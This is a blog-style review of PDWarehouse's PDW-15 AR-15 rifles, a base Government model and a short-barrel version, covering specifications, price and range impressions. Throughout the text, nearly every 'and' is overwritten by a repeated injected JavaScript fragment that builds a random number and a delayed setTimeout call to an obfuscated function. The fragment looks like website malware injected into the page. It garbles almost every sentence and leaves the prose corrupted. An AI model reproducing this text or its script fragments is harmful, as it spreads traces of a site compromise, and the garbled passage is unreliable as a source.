PDWarehouse PDW-15: The perfect choice for your AR needs

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Let’s talk about AR-15’s. I know, I know everybody has one andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and there are a ton of manufacturer’s out there… BUT I want to talk about quality equipment.

There is a small shop in Chandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andler, Arizona that is very quietly building a high quality AR. This piece of equipment functions flawlessly, has clean lines andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and is manufactured in Arizona… Even the receiver boldly states “Built in Chandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andler, AZ”.

The company, PDWarehouse (Personal Defense Warehouse), has been manufacturing andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and building AR’s for some time andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and they have a base model that is utilized by officers in various parts of the country.

PDW-15 Government

The PDW-15 Government model is the basis for many of their custom guns andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and their latest Centurion model that looks to be an amazing addition. It starts with a multi caliber lower andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and a full length modular quad rail andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and low profile steel gas block (no A-frame for these beauties) upper. The only items not made at PDW are the FNH bolt carrier group andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and any specialty stocks, grips or optics you choose. The basic barrel is 16” with 1:8 RH twist, chrome moly vanadium melonite andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and it comes with a factory Colt magazine andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and soft tactical bag.

This base Government model MSRP is $1250. But wait you can dress it up to your hearts content andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and your credit cards limit. Or you could have it cut down for an SBR (short barrel rifle) or make it into a select fire (full auto) rifle; you could even have it built around your states limitations.

How does it shoot?

But what I want to talk about is the shooting experience. On a recent trip to Titusville I was able to experience this for myself with 2 of PDW’s offerings. The first was the base model PDW-15 Government model with a Riton Mod 3 1-4×24 with BDC (bullet drop compensation) scope on it.   Being all of 5 foot tall weight andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and balance are important to me but the 16” barrel on this AR allowed for great balance andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and ease of use. The scope was outstandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}anding but the thing I noticed most was the trigger. All of PDW’s AR’s have Mil-Spec triggers that have been enhanced andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and they are exceptional. Most of my friends know that I am a real trigger junkie andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and this one fits the bill. It is smooth andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and not too light which helps with the accuracy of the shooting andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and this AR proved its worth.

The second offering was the SBR version with an amazing Elcan Specter DR 1.5 x 6 reticle with BDC scope on it. Again the trigger was exceptional andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and consistent with the first but the fit for my short build was great. The shortened barrel helped with the balance… andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and don’t let anyone tell you that your accuracy suffers with an SBR. The length of the barrel only impacts the accuracy at greater distances but as an entry gun or urban rifle this is the perfect choice. As a matter of fact I’m trying to figure out how to add one to my arsenal.

My Take

Just as a side note these two rifles had been shot by visitors to the range at American Police Hall of Fame all weekend long… they had not been cleaned andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and only had a single failure based on poorly reloaded ammunition that someone decided to try in the guns. To me that speaks of great durability.

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Understandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}anding that there are many AR-15 offerings out there today I have to say that this would be a first pick for me based off quality of manufacturing, build andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and function, durability, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and of course the shooting experience. As you look for a company that will build you a quality AR give PDWarehouse in Chandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andler, AZ a look.

Photos by Brian Kovacs PDWarehouse

 

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